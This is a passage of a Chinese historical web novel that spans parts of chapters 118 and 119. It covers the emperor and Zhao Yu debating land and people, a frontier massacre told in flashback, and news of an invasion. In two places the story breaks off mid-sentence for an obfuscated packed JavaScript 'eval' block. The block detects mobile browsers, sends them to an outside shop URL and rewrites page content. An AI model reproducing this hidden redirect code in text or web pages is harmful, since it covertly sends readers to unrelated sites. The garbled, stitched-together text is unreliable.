文湛咳嗽了好一会儿,才算稳住神,“你想问什么?” 赵毓,“昨天在岐山之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728975|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巅,您说过:子民在,疆土在,家国就在!我听的荡气回肠,可是今天我仔细一想,又觉得,陛下您的语序有些不对。” 文湛有些疑惑。 赵毓,“子民与疆土,哪个在前面?” 文湛一挑眉,却没说话。 赵毓将白天的所见所想大致说了一下,又问,“究竟是土地拥有人,还是人拥有土地?” 文湛沉吟,却反问了一句,“承怡,令岳尹明扬曾是疆臣,又是功勋之臣,对于自己的权力与职责,他有没有对你明说过?” “这不用他讲,朝廷上人人知晓。”赵毓,“封疆大吏,起居八座,堪比王公,就是因为具有守土之责。城在人在,城破人亡!” 文湛,“战败之后的处置呢?” 赵毓一愣。 一则,他几乎没有战败过。 二则,……,他想起来,尹明扬曾经在一次酒宴上,轻描淡写对他耳语,“打仗,死了人,主帅尚有可自辩的余地,毕竟胜败乃兵家常事,生死之事只道是寻常。手下军队尽数填了进去,仍然可以征兵,不愁没有东山再起的机会。可是,丢城失地,却是灭族大罪!” 这句话是酒后之言,并且说的太轻巧,赵毓一直没有往心里去。 直到今天,直到现在! 文湛,“千金可以散尽;宫阙可以做土;世间万千繁华都可以付之一炬,只有土地不会消散。只要将土地握在手中,即使大乱过后,百业凋敝,依旧可以春耕秋收,一年复一年,散尽的千金可以收复,宫阙可以再建,万千繁华终归可以一点一点凝聚。” “那人呢?”赵毓,“人死无法复生,命只有一次。与土地相比,孰轻孰重?” 文湛,“人死虽无法复生,却可以繁殖。十年生聚,十年教训,二十年之外,三千越甲可吞吴。那么,承怡,你觉得,究竟是土地重要,还是人重要?” “呃,……” 赵毓让文湛说糊涂了。听起来,似乎应该是土地更重要;可是,如果没有人就没有军队,所以人一样重要。文湛忽然扛起来赵毓,只说了一句没有丝毫分歧的话,——“束脩”,就进了屋子。 “陛下,日头还没有落下去呢!” “您这是白——日——宣——淫!” “呜,……” “轻一点儿。” …… 徐玚在入夜之前赶到岐山镇。 徐造化见他下马,连忙上前去,哭丧着脸,一五一十的说道,“大少爷,也怪我多嘴。原本这位爷已经被我说的心软了,不想怎么着,这又急了。要是别人,就算了,反正咱们老爷满朝结的仇敌也不少,虱子多了不咬,可是这位爷不一样。您得亲自过来,拿个主意。” 徐玚扯掉披风,“赵毓人呢?” 徐造化,“携美游山。今夜,他们想必是住在山上了。” 徐玚,“你知道在哪里?” 徐造化,“我派了人远远的盯着,不敢靠近,只是大致知道他们的位置。” 徐玚,“咱们这就寻过去。” 是以,才夜深人静,徐玚就到了赵毓夜宿的小屋院外。他让徐造化去敲门,敲了许久,赵毓才开门出来。 “怎么个情况?”赵毓一看徐造化,砰地一声,回手将木门关严实,“老徐,你这是白天恶心人不够,晚上又跑过来继续恶心我?” 徐造化一看赵毓这幅尊容,心知,——娘咧,闯大祸了。 赵毓身上的衣袍都是胡乱裹的,脸颊粉,嘴唇肿,眼睛中快要渗出春水,眼神落在哪里,哪里都是酥麻一片,咽喉上有几点青紫痕迹。还有他的声音,……,带着不同寻常的嘶哑。 赵毓此人,真是不可言说。 好一个“携美游山”! 只是这“美”,未免过于狠辣! 徐玚则下马,垂手立于溪水旁,“世叔,多年未见。” 118. 118 118 徐玚只比赵毓小三岁,却一直以子侄辈自居,因为他的父亲,如今威名赫赫的徐绍曾是赵毓的粮道。 十三年前,徐绍不过是一个不得志的米脂知县,受到当年甘宁总督杨用清的排挤,让他只以“朝廷用兵之际,还望西北上下一心,共赴国难”这样的说辞,企图不费一两白银来筹措军粮。那段时日,西北各个粮仓几乎全部枯竭,粮价翻了十番,就算捧着大把白银都买不到粮,更何况是空手套白狼? 这是摆明了是要把人往死里挤兑。不但如此,杨用清是个将所有事情一下子做绝的人。 这位杨总督他这边下死手要把徐绍置于死地,那边则把徐绍已经进入西北军效力的长子徐玚派到伊犁去送死。当然,明面上却说的十分堂皇——英雄出少年,大丈夫横行于天地,不求出将入相,至少要有所作为。总督大人的这种心思,不用明说,下面人自然都懂,因而,徐玚一到伊犁,就被守将王永基直接派去巡哨,并且探查敌军主力。 当时带兵的人,正是赵毓。 那个时候,整个西北没有人知道赵毓的真正身份,有些消息灵通的人也不过探查到赵毓是兵部尚书兼宣大总督尹明扬的女婿,是尹大人从雍京带过来的一个白脸书生,到西北军中混日子,见机行事捞一些功劳,他老丈人再据本上奏,保荐个一官半职,就算扯着老婆的裙子边有了出身。 一开始,徐玚也这样以为。 沙漠。 一望无际的黄沙,日头像火一样在头顶上烤着,马匹都开始焦躁不安,看不见绿洲,兵士们不敢喝空水囊的水,此时,众人的嘴唇开始龟裂。 “头儿。”一个兵士对赵毓苦中作乐嬉笑着,“真让您猜对了,这个姓徐的小白脸跟着咱们走这一趟,咱们果然是凶多吉少。” 徐玚的马已经走不动了,他下来牵着它,脚底踩在黄沙上,磨出了血泡。年少的他还有着倔强、不屈和一丝丝的骄傲,“难道我是瘟神?” 二十三岁的赵毓带着一种当年的徐玚完全不曾见过的气度。他奢靡,绵软,像丝路上可以换取白银的丝绸,更像是最上等的珐琅彩描绘的瓶,却只应该深藏于王公贵族的深宅大院,不可见世人。赵毓根本不像军人,虽然他身上着轻铠。 当年,还有兵士甚至调笑,——尹总督家的小白脸女婿,不会见了死人,见了强|弓|硬|弩、火|炮|炸|药就尿裤子吧!赵毓也不恼,甚至还浅笑着说,“我到不怕这些,我怕晒黑,那样就不俊秀了。” 这句话,堵的人无话可说。 此时,赵毓也下马,“你不是瘟神。王永基那个人平时根本不做任何事,一心只想着谄媚杨用清,升官发财买女人,这一次他这么积极的把你塞给我,应该是想要把咱们两个都除掉。” 他说完,抬手搭成一个凉棚,向远处眺望。 手中珊瑚鞭一指,“到了。” 什叶镇。 边境第一镇。 味道不对,越是走近,越是不对。 黄沙埋不住一股浓厚的腥臭味,小镇上一点声音都没有,这种安静如同熬制的厚重的牛皮胶,堵的人喘不上气。 徐玚感觉自己心跳如同擂鼓,如此滚烫的黄沙上行走,却让他手脚冰冷。他想要喝口水,却发现自己的手指颤抖,根本打不开水囊。 “头儿。”有人扯住赵毓的马,“咱们赶紧通知附近的守军。” 赵毓则下了马,淡漠的说,“附近没有守军了。” 是的。 附近不但没有守军,也没有活人了。 此时,连众人的马都拒绝向前。赵毓松掉了缰绳,从马鞍上悬挂的袋子中抽出自己用习惯了弩,并且将弩|箭上膛,抬手指着前方,身先士卒,一步一步的向前推动着脚步。 灰烬。 存粮被劫走,而拿不走的则被焚烧,满地的灰烬,分不清楚是谷物,是木头,还是死人。 所有的房屋被砍掉了大梁,坍塌下来,无一幸存。 牲畜的血散发出粘稠的恶臭。 随地扔了许多骨头,皮毛和一些没有吃掉的腐肉。 再向前,则是一条清水河,它没有名字,是拉莫孔雀河的分支,天山雪水所化,清澈,味道甘甜,养育了大郑的子民,也养育了边境上各个部族的男女老幼。此时,它是浑浊,肮脏的,因为河道已经被尸体堵塞。 男人,女人,老人,孩子,甚至还有婴儿,被割断了喉咙,被乱刀分尸,被木桩插进胸膛,被剥皮砍掉头颅。 附近守军死的更惨,凡是身上有大郑军服的人全部死无全尸,参将甚至被切成几块,分别吊在河流对岸的几棵树上。 徐玚哇的一声,直接吐了出来。 他身边的人也纷纷呕吐,有人甚至跪地开始哭泣。 赵毓面无表情,他从怀中掏出一方江南贡丝的手帕,绣着兰草,熏了异常名贵而浓重的香。 此时,他用手帕堵住了口鼻,香气萦绕的犹如万千白昙花盛开,一脸沉如水的表情,眼神仔细扫过所有眼前的一切,以极轻的口吻说道,“再向西走三里,就是这条河的上游,应该有干净的水。我原来在什叶镇住过,这里的守将在后山的河谷中有存粮,我看他们被刑求的如此严重,应该也没有说出存粮的地方,咱们过去挖出来,埋锅造饭,今夜宿在此地。” “头儿,我们为什么不回伊犁大营?” 赵毓轻描淡写,“回不去了。”他手中的珊瑚马鞭向外面挥了挥,“你睁大眼睛仔细看看,那些是什么人?” 四周山上全是西疆十六国的兵士! 人头攒动。 …… 徐造化像是被人切断了脊椎骨,一步一步退到院门外。 赵毓则像个冉庄老农一样裹了裹身上的衣袍,似乎此时方才看到徐玚,“哎呦喂,徐家大少爷,您这一说,果然是多年未见了,得有小十年了吧。” “八年。”徐玚说道,“先帝驾崩,您回雍京奔丧,那一年,我随父亲调任四川,从那之后,再也没有见过世叔。” 赵毓抓了抓头发,他坐在河边的大石头上,看了看徐造化,又看了看徐玚,“你们,这又是哪一出折子戏?” 徐造化以为大少爷会谦和的开始解释水氏的事,可没想到,此时徐玚开口却是,“世叔,我们的探马回报,高昌新王登基,他已经征服了西疆十六国各个部族,甚至连死去的贵霜王子留下的人马都也已经全部收编,目前动向不明。依您看,他们接下来要做什么?盘踞西北,还是,绕过冻土与冰湖,进攻北境?” 赵毓却是一愣,“高昌新王?” “是。”徐玚回答。 赵毓,“高昌嫡系王族的血脉已经断绝,那个不知道从哪个土坑里滚出来的贵霜王子,只因为他的曾祖父娶了之前高昌老王的遗孀就混入王族,血脉淡到如同从长江里面淹死只小麻雀,整个江南俱喝鸟汤的地步。高昌这位新王又是从哪个土坑里骨碌出来的?” 徐玚,“极奇怪的人,据传是高昌王阿尔术依的骨血,可他却有一个大郑汉人的名字。” 赵毓,“谁?” 徐玚,“殷忘川。” 他说完,双眼一直盯着赵毓,想要从这张尚未褪去春|色的脸皮上看出一些端倪,却一如既往的一无所获。 他不想让人知道的事情,外人很难探查。就比如现如今这雍京城中,有些人极其想要探查赵毓身边之人的底细,却没有任何头绪一般。 徐玚没有这个兴趣。 赵毓虽然是庶民之身,却出身王公,对于有些文人士大夫爱若生命的清誉没有半分维护的兴趣。无论他严守礼法还是荒淫无度,任何事情,没有他敢做与否、能做与否的纠葛,唯一不同的仅仅是,他做与没有做的区分。 所以,赵毓身边的人,是男,是女,是没落王孙,还是低贱如泥,都不会让徐玚惊诧。 此人是徐玚见过的衮衮诸公当中,唯一一个,永远无法预测他下一步走向的人。 他现在还记得当年赵毓说过的话。 “小子们,你们记得,我们来西北,本身就是一场有去无回的战争。”赵毓,“世上的事都这样,谁怕死,谁先死。” 在什叶镇,赵毓以自己为饵,诱敌军深入埋伏,用火|药炸开了莫谷山口,荡起流沙,将围攻他们的所有外族兵士尽数掩埋,他们置于死地而后生,最后,居然活着、安然返回伊犁大营。 行辕内,守将王永基让人正在写奏折,他见到赵毓领着徐玚进来,双目圆睁,好似见了鬼。 “王将军,您这是什么意思?”赵毓身上血迹斑斑,一身黄沙,唯独脸,干净的有些苍白,还有他手中的绢帕,浓香到异常不合时宜。他倒着拿起来已经盖了伊犁守将大印的奏折,看了看,轻笑了出来。 “阵亡?王将军还是很重情谊的,同样是把我们弄死后做文章,可您居然没有写我们临阵脱逃,而是上报了阵亡,这样,兵部会给我们嘉奖,家人也会有丰厚的抚恤。亡者英灵在天,似乎都不会找你麻烦了呢!” 说完,赵毓把一支将军令牌直接拍在王永基面前,“这是我从围攻我们的首领,霍图部大牧首,骨力裴罗身上搜出来的,有王将军的印鉴。这种东西要是上奏朝廷,王将军自己死不足惜,可惜,嫂夫人刚刚产下麟儿,也要跟着遭殃。天可怜见,这孩子刚刚满月,却再也看不到蓝天白云,游不了青山绿水,吃不到珍馐美味,活人有的乐趣他都享受不到了,真是可惜。” “我是被逼的,我是被逼的!”王永基噗通跪地,“他们扣押了我的老婆儿子,逼着我设计除掉你,如果我不做,我就断子绝孙了!再说,赵将军,您现在不是还活着吗,您现在也毫发无损啊,这说明您有上天护佑,这说明您人心善,所以您应该饶了我,这是天意!” 赵毓一脚踢翻了他,脚踩住王永基的一只手,从靴子中抽出一把短刀,刀锋就压在王永基的小指头上,“我不切你别的手指,我知道你是弓箭好手,如今大郑正是用人之际,损了你的手,也就损了一员战将。可是我不能就这样放过你,王永基,以后做人做事都想想今天,人这一辈子就是一条不归路,千万别走岔道,不然,再想回头,可没有今天的运气了。” 说完,他活生生的切掉了王永基的一根手指。一刀,两刀,三刀,……那把短刀并不锋利,钝的如同一把生锈的柴刀,不要说切血肉、断筋骨,就算是切萝卜都要来回撕扯,此时,与其说是切,不如说是磨。锥心刺骨不过如此! 王永基哭喊的犹如一个三岁女童。 那一刻,徐玚知道,自己找到了他一直想要找的人。 他们徐家人,从来不会自怨自艾,坐以待毙,既然他父亲徐绍已经被放弃,身在绝境,那么他就必须另外找到一条生路。 赵毓就是他们的生路! 所以,在其他人对赵毓还持怀疑态度观望的时候,徐绍不惜一切为他运筹粮草,把所有的身家性命都压在赵毓一人身上,当时,别人以为他疯了。 一年后,征西大将军李钧麒在出征沿途对百姓不分敌我的横征暴敛,被伊犁当地百姓勾结回鹘余部斩首;副将景厝攻破叶尔羌城之后,纵马十日,不撤军,不封刀,被赵毓斩杀。 那之后,赵毓成为握有实权的征西统帅。 而徐绍,因为相助赵毓的功绩而被尹明扬上本保荐为川陕粮道;徐玚年纪轻轻,也是四品武官功勋。 如今,…… 赵毓像是所有色令智昏的人,眼神中带着无法集中精力的散漫与微微的不耐,他把散落的头发撸到脑袋后面,“这种事儿,你应该面圣的时候上奏给圣上听。现在告诉我,这不是冲着瞎子抛媚眼吗?我这个人你又不是不知道,不在其位不谋其政,不该我管的事,我绝对不伸手。” “皇上已经知道了。”徐玚道,“四天前子夜,我从北境回到雍京,因为身上有军情需要奏报,所以没有回家,直接在贤良寺住了一夜。第二天,天不亮,皇上在微音殿召见了我。” 赵毓一想,正是文湛带他来岐山野游看桃花的那一天。 也许是终于听到皇上的事情,徐玚见赵毓还算给面子的稳稳了心神,“圣上怎么说?” “皇上只说,……”徐玚顿了顿,不知道怎么的,他闻到一阵极浓重,也是极名贵的一股香气,从赵毓的头发,衣服,甚至是皮肤中渗透了出来,仿若玫瑰香麝。这股味道有些熟悉,熟悉的令人心惊胆颤,徐玚心想,他一定在哪里闻到过,却怎么都无法想起来。 不!他心底另外一个声音告诉他,这个答案似乎就在他眼前,却间隔着云母做的屏风,看似触手可及,却永远无法撞碎石料,真正触摸到它。 “皇上只说,他知道了。” 赵毓,“那圣上知道了不就得了?你还有别的什么事儿?” 徐玚,“这段时日家父一直心神不宁,还请世叔不吝赐教。” 赵毓盘腿坐在大石头上,手指在膝盖处轻轻点着。 徐玚见他没起身,没动,知道是同意的意思,连忙说,“朝中许多大臣们认为高昌不过是残余,根本不可能绕过上万里地的冻土,从西北移师直攻北境,家父原本也笃信。只是,兵者诡道,这世间的事,总有我们想不到的,却没有绝对无法发生的。家父身负皇恩,干系重大,因为想要问问世叔,想要讨个心安。” 赵毓低头笑了两声,“行了,整个大郑朝廷都知道你老子镇北境。你没看,我见了你们老徐家的那个小兔崽子都得躲着走,你就别在这里吓唬人了。” 徐玚,“不敢。徐稚,他,……” 赵毓摆了摆手,“高昌军队绝对不可能绕过上万里地的冻土,从西北移师直攻北境。可是,如果真有人这样做了,那么,他们就不是高昌的军队。” 徐玚,“世叔的意思是,……” 赵毓,“国虽大,好战必亡;天下虽安,忘战必危。” 说完,他起身,“你老子虽然是文臣的身份,却执掌兵权,应该知道,军功与其他不一样。虽然现在我大郑朝廷上下都是重文轻武,都觉得军功挣来的功名不值钱,这些不过是狭隘的蝼蚁之见。军功真正的激赏不是白银,不是升一品、两品的官阶,而是与国同休,带砺山河的信念。如果令尊大人果然不负陛下,有大功业,我相信,圣上必定有大恩。去年我去空镜寺,见过丹书铁券,上面写着,……” 丹书铁券!徐玚心中不知道是喜是悲。文臣的官爵是看得到边的,科举制的制约,官位不会世袭,君子之泽五世而斩!而裂土封王不同,它可世袭,可建宗庙,直接恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728976|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荫子孙万代! 赵毓的声音,伴着流水的声音飘飘忽忽的,“使黄河如带,泰山如粝,郑有宗庙,尔无绝世。” 杂人退散,万籁俱静。 文湛推开木门出来的时候,发现赵毓已经烧好了柴火,烤热了大锅,拿着木桶把水倒入大锅当中。 赵毓听见脚步,只是说,“徐家人这么一闹,我要给你的束脩打了折扣,现在也没兴致折腾了,我给你烧些热水,伺候你洗个热水澡好了。” 文湛从他手中接过水桶,“我来,这种事不用你做。” 铁锅很大,直接嵌在石块黏泥砌成的灶台上。赵毓烧的柴火很旺,不一会儿,水就翻了花儿。 文湛用大锅旁边的干葫芦瓢,一下子一下子的舀水,“那人的事,我没有告诉你,……,他毕竟是你王府旧人,当时侍候的也算尽心。” 赵毓,“殷忘川虽然是我当年王府的旧人,只是,我们之间当年的事情,有些不太好说。” 文湛的手一停。 赵毓,“我对他虚情假意,他对我虚以委蛇,我们两个就跟水镜台上的角儿一样,卖力演了一场你侬我侬的折子戏。” 文湛把热水舀了出来,又倒了一些冷水进锅中,似乎有些不经意的开口,只是像是随意搭话而已,“你们在西北还见过吗?” “嗯。”赵毓点了点头。 文湛的手又停了。 赵毓,“我记得徐玚第一次调入我部的时候,被人陷害在什叶镇遇到围攻,所有守军都阵亡了。我们剩下的人不多,半夜差点就挡不住霍图部骨力裴罗的攻势,是小殷带人过来,把那些人全部杀死,又吓退了外面埋伏的人,才为我们埋炸|药赢得了多半天的功夫。”他说着,揪住文湛的没有系好的领子,扯过来,在皇帝的咽喉处狠狠亲了一下,“没事儿,都是过去的事。那一天,我们做了一场交易。” 文湛继续烧水,“他不是哪儿来的回哪儿去了吗?怎么会掺和这种事。” 赵毓,“当时十六国的残部与大郑征西统帅李钧麒有勾结,李钧麒想要养寇自重,十六国想要占据伊犁以及天山向南这一带土地。小殷的势力对于双方来说,都是一根肉中刺,所以为了自保,他选择了我。” …… 他想起来当年,就在什叶镇外,面对杀戮过后的宁静,殷忘川说,——“我的母亲是汉人,所以我不是高昌人,虽然我父亲是高昌王阿尔术依。可是我的这双眼睛,大郑又容不下。原本我自持武功,以为这些都不算什么,可是,我错了。承怡,对于你来说,九州万邦,天宽地宽,任你走,可是对我来说,这里没有一块净土。” 当年,赵毓问他,“你为什么要帮我?” 殷忘川,“因为,……” …… 文湛,“李钧麒。” 他说到这个人的名字,异常平淡,平淡到没有任何情绪。 赵毓点头,“当年你只有十九岁,又是仓促登基,皇位不稳,外族人以为我们主少国疑,咱们自己人想要趁乱浑水摸鱼。李钧麒不过其中一个而已,如果不是他,还会是别人,这没什么大不了的。” “当年朝中大多是杜阁老留下的势力。崔珩口中的忠臣良将,大抵就是他们那样。对于国家,对于王朝,对于子民漠不关心;可是对于自己的恩宠,自己的权位,却肝脑涂地,孜孜以求。他们所谓的权谋,不过都是一些逐鹿问鼎游戏的复刻,未必那么血腥,却同样肮脏。” “我老丈人尹明扬虽然领兵部尚书衔,却也被他们架空。那些人调他进西北,他麾下的军队尽数被放在最艰险的地方。每一场仗,都是有去无回,每一次,都需要绝地求生。不过,福祸相依,那样的境遇,活下来的战将都是悍将,兵士都是铁军。” “直到我领了先帝密旨,……” 文湛不语。 赵毓,“先帝命我直接斩杀征西副将,全面接手西北军。” 当年的事情迷雾重重,可是因为牵扯着赵毓,他们又处在那种决绝的境地,文湛一直没有对于他的事过于深究。虽然为了保护他,皇帝提拔崔珩,倚重尹明扬,竭力为了他造出一只一只强有力的帮手。 文湛,“我以为是你胆大包天,什么都敢做。” 赵毓忽然笑,“呃,……,其实我还是很胆小的,……,真的。当年老崔都说我,总是抬头看树,就怕掉下来一片叶子砸死我。” 文湛,“……” 咳嗽了一下,赵毓才又说,“当年那种情形,朝堂上各方势力犬牙相错。杜阁老,江南兰芝社,江北豪族,还有些那些王公,勋贵,藩镇,世家,外加寒门书生言官,简直就像一个斗鸡场。一件事,不论好坏都能争论不休;一个人,不论是非就开始党同伐异。乱成那个样子,要说朝廷想要平定西北,并且眼望着需要十年甚至更久的时间,需要开销数千万两白银的军饷,恐怕,那些忠臣良相们都要去撞一撞微音殿前面的大柱,让自己名垂青史,让穷兵黩武的皇帝遗臭万年。” “所以,有些事情,还是只做不说为上。我拿着先帝密旨,必须使用非常手段。需要知道这些事的高级将领们自然知晓,也极为配合,而其他人,则无必要。反正我大郑的兵制如此,皇帝只要笼络住带兵之人,剩下的那些兵士只不过是乌合之众,是被狗放牧的羊,不足为虑。” 赵毓看着文湛,忽然说,“陛下总说先帝与您父子之情淡漠,其实,在他心中,陛下一直重于泰山,与社稷等同。” 文湛静了一下,不知道在想什么,却转而问,“那个姓殷的,就利用你平定了十六国的残部,自己渔翁得利?” 赵毓,“不是。” …… 十三年前。 赵毓,“你为什么要帮我?” 殷忘川,“因为,……,你可以带给这片土地真正的和平。” 赵毓,“……” 殷忘川,“你祖宗大郑的太|祖皇帝起兵的时候,说过一句话,——朕以眇眇之身,兴兵诛暴虐。你是他的子孙,自然也会有这种信念。西疆真正的动|乱根源不是多种多样的人,不是多种多样的佛陀神像,而是相互的仇杀,数百年的暴虐。你爱过一个高昌女人,你感受的到她们的柔软,火热,还有眼泪,她们对于你来说是异族的姑娘而不是牲畜。” “承怡。” “等到战乱平息的那一天,无论是郑人,高昌人,回鹘人,十六国遗族,还是远道而来的阿富汗,波斯,泰西人,都可以安宁的生存在这片土地上,我用最好的葡萄酿酒,在天山等你。” …… 赵毓,“我许给他一个承诺,让那片土地恢复和平,可是,……,我没有做到。” 他平息了战乱,却留下一片焦土,还有,被奴役的战败民族。 文湛没有开口,山林外有马蹄纷杂的声音,黄枞菖一骑绝尘,蓦然冲到小院门外,直接摔下马,随后连滚带爬的扑了进来: ——“陛下,王爷!定国公裴檀,北境统帅徐绍,蓟辽总督白策,三道奏折八百里加紧。” 赵毓心惊。 黄枞菖,“长城燃起烽火!” “别乱。”文湛声音平淡,“慢慢说。” 黄枞菖,“高昌王殷忘川兴兵犯境,业已攻破北镇,直取大鲜卑山!” 119. 119 119 下了三天暴雨。 天空灰暗的如同一张铁幕,笼罩雍京。 微音殿的灯火燃了三天三夜。 内阁几位大学士,在京的三位国公,外加一位宁淮侯,兵部一位尚书,左右两位侍郎,甚至兵部几位品级不高却熟知北境地形地貌的郎官也进入微音殿,诸公侍奉御前。 翰林院新晋的两位庶吉士伺候笔墨。 北境的军情异常严峻,然而,大郑的疆土毕竟有大鲜卑山作为天然屏障,并且北境距离雍京万里之遥,即使新任高昌王殷忘川的军队势不可挡,目前看来,即使不是疥癣之患,尚且不足为惧,真正的心腹大患则是,…… 蒙古诸王驻扎在呼伦湖西岸,匈奴的左贤王庭也在那一带。他们虽然没有挑起战端,加入高昌军队,却依旧虎视眈眈。 ‘藩镇’固守城池,拒不出兵。 蓟辽总督白策镇守山海关,对于北境远水不解近渴。 唯一可以抵抗高昌王的人,则是镇北境的徐绍。然而,已经过去三天了,却没有一丝一缕的消息传回雍京城。 御膳房用人参肥鸡吊汤,又加了一些滋补的中药,连同鱼肚、排骨、冬笋、核桃和红枣,做成炖盅,装在宣纸蘸水封住的甜白罐子中,火上蒸了一整夜,天露白的时候,由黄枞菖领着御前伺候的小宦官们端微音殿,给已经候了三昼夜几乎没有合眼的诸公享用。 文湛嫌汤头肥腻,他挥了挥手,让黄枞菖将面前的甜白炖盅拿走,“沏碗茶水过来。” 黄枞菖让人端走炖盅,却又换了一个扣着盖子的翡翠色青瓷碗,他双手把碗放在文湛面前,拿起来盖子,里面是一碗清汤银丝面,上面窝着两个荷包蛋,却是煮成了一双并蒂莲花的样子。 “主子。”黄枞菖低声说,“王爷怕您没胃口,特地让奴婢煮的,加了红醋和胡椒,酸辣爽口,您多少吃一些。” 文湛点了点头,伸手拿过黄枞菖递过来的筷子,随后,不经意的抬头,看向王座之下摆放的那些紫檀木椅。他的宰辅,内阁大学士们,王侯们,外加兵部与翰林院的官员们都坐在那边。 身在其中的宁淮侯崔珩不挑食,他揭开炖盅慢条斯理的开始吃着,不过,他手边却有一个小碟子,上面摆放着白糯米甜糕,涂抹着盐水酿的桂花酱,稍微显得突兀一些。 ——承怡的心意。 一定是。 哼! 楚蔷生是首辅大臣,可是内阁中有一位却是他也无法怠慢的人,就是接替身子太弱已经致仕回乡的何隽棠而再次起复入阁的梁徵。 梁徵曾经是先帝凤化年间的内阁次辅,为人泥鳅一样,滑不留手,最喜欢做的事情就是在内阁和稀泥。 只是。 当所有人以为他就这点本事的时候,他却在关键时刻站在首辅大臣杜皬的对面,而得到今上的信任。 梁徵在六十八岁的时候辞官回乡,做了几年白衣阁老,重人以为他彻底绝迹雍京官场的时候,他却在三年前回到这里。皇帝亲自下旨起复,任礼部尚书同时入阁。 如今,他已经七十四岁了。 俗话说,七十三八十四,阎王不叫自己去。梁阁老正好过了第一道坎,距离下一道坎还有十年,他松了一口气。 可是。 岁月毕竟不饶人。 他已经很老了,牙齿松动,精神不济。三个昼夜的熬煮,年富力强的楚蔷生尚且需要强打精神,梁徵如同干瘪的核桃,又或者是细竹篾扎的纸人,似乎风吹一口过来,他就散架了。 皇帝特许他离开。 梁徵颤巍巍的跪拜之后,黄枞菖就把他搀扶出微音殿。 殿外有空地,这里种的树木不高,却也已经是郁郁葱葱。浓重的绿色之外,则是浩渺无波的太液池。 赵毓站在池水边。 他听见轻微的脚步声,转头,看到了已经是风烛残年的梁徵。 “殿下,老夫没想到还能活着见到您。” 赵毓笑着说,“瞧您老说的,只要您不死,我不死,我们终究有再见面的一天。梁夫子,您这是要回内阁,还是出宫?” “出宫。”梁徵说着还咳嗽几声,显得既老朽又弱不禁风,“我这把老骨头可禁不住了,再熬,就得一命归西。” 赵毓又是一笑,“十四年不见,夫子还是一如以往的倚老卖老。”转而,他告诉黄枞菖,“你回去吧,我扶梁阁老出去。” 黄枞菖垂手站立一旁,口中答道,“是。” 赵毓果然双手搀扶着梁徵向大正宫外走。距离微音殿远了一些,天空的乌云似乎也散开了一些。 看着流云散开,赵毓说了一句,“梁阁老此次回雍京,可谓孤勇。” “我一把老骨头,黄土已经埋到脖子了,有什么资格谈孤勇?”梁徵则说,“不过是陛下惜老怜贫罢了。” 赵毓,“梁阁老过谦了。” 梁徵,“对着殿下,也没什么可丢人的。我那个儿子文不成武不就,败家的花招学十足地道,我要不回来做这个官,领着朝廷一份俸禄,吃一份禄米,我们全家就得喝西北风了。我这个人一生碌碌无为,尸位素餐而已。” 赵毓听着只是笑,“您老可是堂堂礼部尚书,官居一品,掌建邦之天神、人鬼、地示之礼,以佐王建保邦国,朝廷上下都要尊称您一声‘大宗伯’。如此煌煌人物,又怎么是那些尸位素餐的大人们能比的?” 梁徵,“我是木雕泥塑,我比他们还不如。” 何隽棠回乡之后,内阁大学士的位子空出来一个,朝野上下,数千双眼睛紧紧盯着,而内阁中也是波涛暗涌。 左相为楚蔷生。 鹿有鸣、左桂清是寒门。 危焕是‘酷吏’,也是文湛的刀。 顾澹、查伊瑝出身江南巨族,虽然不明朗,背后却隐隐有兰芝社的影子。 所以,何隽棠这个空缺,选谁,至关重要。因为这个人需要均衡朝野多方势力。 空缺三个月。 朝野争论不休。 似乎选谁入阁都不合适,似乎,没有这样一个可以让所有人都接受的人存活于世。 这期间,皇帝一直不动声色。 没有人猜透他的心思。 等到文湛一道圣旨起复梁徵的时候,一切争端消弭于无形。 梁徵。 先帝时候的内阁次辅。 德高望重! 宦海沉浮四十载,门生故吏满朝野。 却,……已老朽。 他看似贵重于泰山,却时过境迁了。 赵毓眼前的梁徵就像一个木头,一座石像,全身披挂着绫罗绸缎,却不言不语,只是心安理得的躲藏在香火供奉之后,摆出一副城隍爷的笑容,耐心等待果品点心端上供桌。 只是这样吗? 信,才活见鬼! 赵毓,“那些‘藩镇’闷在高山观虎斗,趴在桥头看水流,朝廷上这些大人们,是不是特别幸灾乐祸?” “殿下何必如何说?”梁徵叹口气,“这样无君无父的事,读书人做不出来。” 赵毓,“我失言。”说这话的时候,他不笑,只是低头,将梁徵脚边的几个石子踢走,随后继续搀扶着颤颤巍巍的老人,“夫子这边走,小心,别摔。” 梁徵感觉赵毓拉拽,似乎特别想要把他赶紧搀出去,为了自己这把脆弱的老骨头着想,他连忙把袖子从赵毓手中扯回来,“殿下,我自己走,我自己走。您要是还有别的事,您先忙,小老儿微鄙,不敢劳您大驾。” “别介。”赵毓松手后,又扯住老梁的一只胳膊,他说,“您说连陛下都怜惜您,似梁阁老您这样一个,……”说着,他还上下看了看梁徵,似乎绞尽脑汁也想不到一个合适的词儿,而且是合适的好词儿,于是貌似无可奈何的继续说,“似阁老如此一个那个啥一样的人,我肯定也要多礼敬礼敬。您老认真看脚下,咱们有句老话儿讲,摔一跤折三年,阎王爷不叫您自己去,……” “殿下,咱们可没这话!”梁徵把胳膊也从赵毓手中扯回来,冲着他连忙摆手,“成,成,成,我说实话还不成吗?” 赵毓顿时安静的站在一旁,还像原来那个在毓正宫三天打鱼两天晒网般读书,却在梁徵面前伪装乖巧的学生。 